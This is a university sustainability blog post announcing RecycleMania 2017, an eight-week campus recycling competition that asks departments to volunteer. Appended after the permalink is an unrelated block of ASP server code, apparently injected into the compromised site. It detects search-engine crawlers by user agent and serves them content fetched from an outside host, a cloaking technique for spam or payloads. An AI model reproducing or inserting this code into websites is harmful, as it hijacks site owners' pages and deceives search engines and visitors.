Jan 23

Print this Post

Recyclemania 2017

RecycleMania begins the first week of February and CMN will be participating once again. RecycleMania is a friendly competition that focuses on the importance of recycling. Here is a link to the website http://recyclemaniacs.org/.

For eight weeks we will be weighing and recording the waste generated on campus and the amount we recycle. To make this a campus wide endeavor, all faculty and staff are encouraged to participate. As in the past, we will be asking departments to volunteer (for a one week commitment) to weigh and record the information.

Your continued involvement makes this a success!

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/01/recyclemania-2017/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>